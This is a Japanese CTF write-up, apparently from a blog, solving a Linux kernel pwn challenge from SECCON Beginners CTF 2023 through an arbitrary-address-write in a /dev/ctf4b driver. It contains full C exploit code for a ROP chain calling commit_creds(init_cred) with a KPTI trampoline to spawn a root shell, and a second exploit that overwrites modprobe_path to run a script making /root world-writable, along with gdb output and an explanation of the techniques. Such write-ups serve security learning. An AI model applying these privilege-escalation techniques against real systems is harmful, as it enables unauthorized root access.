まずは、allocttystruct のロードアドレスを特定し、gdb でアセンブルします。
$ cat /proc/kallsyms | grep tty_struct
ffffffff813c9750 T __pfx_alloc_tty_struct
ffffffff813c9760 T alloc_tty_struct
$ x/100i 0xffffffff813c9760
0xffffffff813c9760: nop WORD PTR [rax]
0xffffffff813c9764: push rbp
0xffffffff813c9765: mov edx,0x2b8
0xffffffff813c976a: mov rbp,rsp
0xffffffff813c976d: push r14
0xffffffff813c976f: push r13
0xffffffff813c9771: mov r13d,esi
0xffffffff813c9774: mov esi,0x400dc0
0xffffffff813c9779: push r12
0xffffffff813c977b: push rbx
0xffffffff813c977c: mov rbx,rdi
0xffffffff813c977f: sub rsp,0x10
0xffffffff813c9783: mov rdi,QWORD PTR [rip+0x8627a6] # 0xffffffff81c2bf30
0xffffffff813c978a: mov rax,QWORD PTR gs:0x28
0xffffffff813c9793: mov QWORD PTR [rbp-0x28],rax
0xffffffff813c9797: xor eax,eax
0xffffffff813c9799: call 0xffffffff8114f9b0
0xffffffff813c979e: mov r12,rax
0xffffffff813c97a1: test rax,rax
0xffffffff813c97a4: je 0xffffffff813c99b6
0xffffffff813c97aa: mov DWORD PTR [rax],0x1
前述のソースコードと対応させて考えると、恐らくmov rdi,QWORD PTR [rip+0x8627a6]
でロードしているアドレス 0xffffffff81c2bf30 が tty_struct のアドレスだと推察できます。
ttystruct では 0x10 オフセット目の `struct ttydriver *driver;` がヒープアドレスになる(らしい)ので、今回のヒープのベースアドレスを 0xffff8880024419c0 と仮定します。
参考:Kernel Exploitation - YouTube
参考:Kernel Exploitで使える構造体集 - CTFするぞ
ここで、gdb を使用して以下のようにカーネルのヒープ領域内で init_cred のバイト列を探索します。
(gdb) find /g 0xffff8880024419c0,0xffff88800fffffff,0x0000000000000004,0x0000000000000000,0x0000000000000000,0x0000000000000000,0x0000000000000000,0x0000000000000000,0x000001ffffffffff
// 省略
(gdb) x/21gx 0xffff88800321d780
0x0000000000000004
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x0000000000000000
0x000001ffffffffff
0x000001ffffffffff
0x000001ffffffffff
0x0000000000000000
0xffffffff81e38bc0
0xffffffff81e38c60
0xffffffff81e39f00
0xffffffff81e396c0
0x0000000000000000
0x0000000000000000
0x0000000000000001
0xffff888003252900
0xffff8880030e0bc8
0xffff888003252f18
0x0000000000000000
その結果、0xffff88800321d780 に init_cred のものとみられるバイト列が確保されていることを特定できました。
root シェルを取得する
以上の結果を元に、以下のようなエクスプロイトコードを作成しました。
TARGET には、Ghidra と gdb で特定した CTF4BIOCTLLOAD 呼び出し時の ret が参照する rsp のアドレスを指定しています。
これにより、AAW の脆弱性を突いてスタック領域に作成した ROP ガジェットを配置できます。
今回の環境では SMEP と SMAP は無効化されていますので、ROP ガジェットや save_state 関数はユーザ空間で定義したものを使用できました。
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#define CTF4B_DEVICE_NAME "ctf4b"
#define CTF4B_IOCTL_STORE 0xC7F4B00
#define CTF4B_IOCTL_LOAD 0xC7F4B01
#define CTF4B_MSG_SIZE 0x100
unsigned long user_cs, user_ss, user_rsp, user_rflags;
unsigned long commit_creds = 0xffffffff81093d50;
unsigned long init_cred = 0xffff88800321d780;
unsigned long rop_bypass_kpti = 0xffffffff81801811;
unsigned long swapgs_restore_regs_and_return_to_usermode = 0xffffffff818017e0;
#define TARGET 0xffffc9000017fea8
static void win() {
puts("[*] Hello from user land!");
uid_t uid = getuid();
if (uid == 0) {
printf("[+] UID: %d, got root!\n", uid);
} else {
printf("[!] UID: %d, we root-less :(!\n", uid);
exit(-1);
}
char *argv[] = { "/bin/sh", NULL };
char *envp[] = { NULL };
execve("/bin/sh", argv, envp);
}
static void save_state() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags)
:
: "memory");
}
void fatal(const char *msg) {
perror(msg);
exit(1);
}
int main() {
save_state();
int fd;
fd = open("/dev/ctf4b", O_RDWR);
if (fd == -1) fatal("/dev/ctf4b");
unsigned int buf;
buf = (unsigned int*)malloc(CTF4B_MSG_SIZE);
unsigned long *chain = buf;
*chain++ = rop_pop_rdi;
*chain++ = init_cred;
*chain++ = commit_creds;
*chain++ = rop_bypass_kpti;
*chain++ = 0xdeadbeef; // [rdi]
*chain++ = 0xdeadbeef;
*chain++ = (unsigned long)&win; // [rdi+0x10]
*chain++ = user_cs; // [rdi+0x18]
*chain++ = user_rflags; // [rdi+0x20]
*chain++ = user_rsp; // [rdi+0x28]
*chain++ = user_ss; // [rdi+0x30]
if (ioctl(fd, CTF4B_IOCTL_STORE, buf) == -1) {
perror("ioctl");
exit(1);
}
if (ioctl(fd, CTF4B_IOCTL_LOAD, TARGET) == -1) {
perror("ioctl");
exit(1);
}
close(fd);
return 0;
}
どうも release 環境だと TARGET で指定している ret 時のスタックポインタのアドレスが微妙に変わる場合があり、エクスプロイトは通ったり通らなかったりしますが、上手く動くタイミングだと以下のように root ユーザのシェルに昇格させることができるようになります。
あまりにもエクスプロイトの成功率がまちまちなので何か間違っているのかもしれませんが通ったのでヨシ!
ret 時に参照しているスタックのアドレスはカーネルの再起動をするまでは不変のようなので、もしかしたら本来は AAR とかを駆使して一度スタックのアドレスをリークさせてからエクスプロイトをかける必要があるのかもしれません。
modprobe_path の書き換えによる任意のスクリプト実行
別解として modprobe_path の書き換えによる任意のスクリプト実行も試していきます。
エクスプロイトコードについては同じチームのメンバーが以下の Writeup に書いているものと丸パクリします。
参考:SECCON Beginners CTF 2023 Writeup
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <unistd.h>
#define CTF4B_IOCTL_STORE 0xC7F4B00
#define CTF4B_IOCTL_LOAD 0xC7F4B01
#define modprobe_path_addr 0xffffffff81e3a080
int main(int argc, char *argv[])
{
int fd;
int cmd;
fd = open("/dev/ctf4b", O_RDWR);
if (fd == -1) {
perror("open");
exit(1);
}
char evilpath[] = "/tmp/evil.sh";
if (ioctl(fd, CTF4B_IOCTL_STORE, evilpath) == -1) {
perror("ioctl");
exit(1);
}
if (ioctl(fd, CTF4B_IOCTL_LOAD, modprobe_path_addr) == -1) {
perror("ioctl");
exit(1);
}
system("echo -e '#!/bin/sh\nchmod -R 777 /root' > /tmp/evil.sh");
system("chmod +x /tmp/evil.sh");
system("echo -e '\xde\xad\xbe\xef' > /tmp/pwn");
system("chmod +x /tmp/pwn");
system("/tmp/pwn");
close(fd);
return 0;
}
このエクスプロイトを実行すると、Flag が存在している root ディレクトリ以下のファイルにアクセス権限 777 を割り当ててユーザ権限のシェルから読み取りできるようになります。
ちなみに、modprobepathaddr で定義しているアドレスについては gdb で/sbin/modprobe
の文字列を探すことで特定しています。
search "/sbin/modprobe"
>
Searching for value: '/sbin/modprobe'
0xffff888001e3a080 '/sbin/modprobe'
0xffffffff81e3a080 '/sbin/modprobe'
modprobe_path とは
modprobepath って何ぞ?という話ですが、`__requestmodule` 関数という事前に登録された ELF や shebang に該当しない不明なプログラムを呼び出す際にコールされる関数内で呼び出されるモジュールのパスのようです。
/*
modprobe_path is set via /proc/sys.
*/
char modprobe_path[KMOD_PATH_LEN] = CONFIG_MODPROBE_PATH;
int __request_module(bool wait, const char *fmt, ...)
{
va_list args;
char module_name[MODULE_NAME_LEN];
int ret;
/*
* We don't allow synchronous module loading from async. Module
* init may invoke async_synchronize_full() which will end up
* waiting for this task which already is waiting for the module
* loading to complete, leading to a deadlock.
*/
WARN_ON_ONCE(wait && current_is_async());
if (!modprobe_path[0])
return -ENOENT;
{{ 中略 }}
ret = call_modprobe(module_name, wait ? UMH_WAIT_PROC : UMH_WAIT_EXEC);
atomic_inc(&kmod_concurrent_max);
wake_up(&kmod_wq);
return ret;
}
EXPORT_SYMBOL(__request_module);
参考:kmod.c - kernel/kmod.c - Linux source code (v6.2.3) - Bootlin
この modprobe_path は通常書き込み可能領域で /sbin/modprobe
を既定値として登録されています。
つまり、このパスを改ざんすることでカーネルで任意のコマンド実行が可能になります。
参考:Holstein v2: Heap Overflowの悪用 | PAWNYABLE!
先ほどのエクスプロイトの例では、以下の行で Flag の存在するディレクトリの権限を書き換えるシェルスクリプトを作成し、実行権限を付与しています。
system("echo -e '#!/bin/sh\nchmod -R 777 /root' > /tmp/evil.sh");
system("chmod +x /tmp/evil.sh");
こちらのスクリプトについては正しく実行できる必要があるので、必ず shebang を付与します。
続いて、0xdeadbeef などの適当なバイト列を埋め込んだファイルに実行権限を付与し、AAW を利用してカーネル内で実行させます。
system("echo -e '\xde\xad\xbe\xef' > /tmp/pwn");
system("chmod +x /tmp/pwn");
system("/tmp/pwn");
この時、/tmp/pwn
の実行は _requestmodule によって処理された際に modprobe_path を呼び出すことになるので、/tmp/evil.sh
が実行されて root ディレクトリの権限が置き換わるというわけです。
modprobe_path の悪用が可能かどうか
今回のように AAW の脆弱性を悪用できる場合、modprobe_path の悪用により任意のコード実行を実現できる可能性が高いようです。
modprobepath の悪用自体は、SMAP や SMEP、または KPTI の緩和機構が入っていても利用することができますし、modprobepath はデータセクションに存在するため FGKASLR が仮に有効化されていても影響を受けないようです。(KASLR ではない)
今回問題バイナリとして与えられた config ファイルを見ると、以下のように明示的に modprobe_path に関する設定が与えられていました。
# Static modprobe_path
CONFIG_STATIC_USERMODEHELPER=y
CONFIG_STATIC_USERMODEHELPER_PATH="/sbin/modprobe"
参考:Linux Kernel Exploitation Technique: Overwriting modprobe_path - Midas Blog
modprobepath は callusermodehelper の仕組みで呼び出されるものなので、CONFIG_STATIC_USERMODEHELPER=y
で有効化されている場合は悪用できると考えてよさそうです。
まとめ
Linux カーネルエクスプロイトへの初チャレンジでしたが、正直かなりしんどかったです笑
KPTI トランポリンを使う方法の Writeup が見当たらなかったので手探りで進めていたのですが、そのおかげでコンテスト中よりもだいぶ Linux カーネルに対する解像度が上がったような気がします。
Pwn もたまにやると楽しいですね。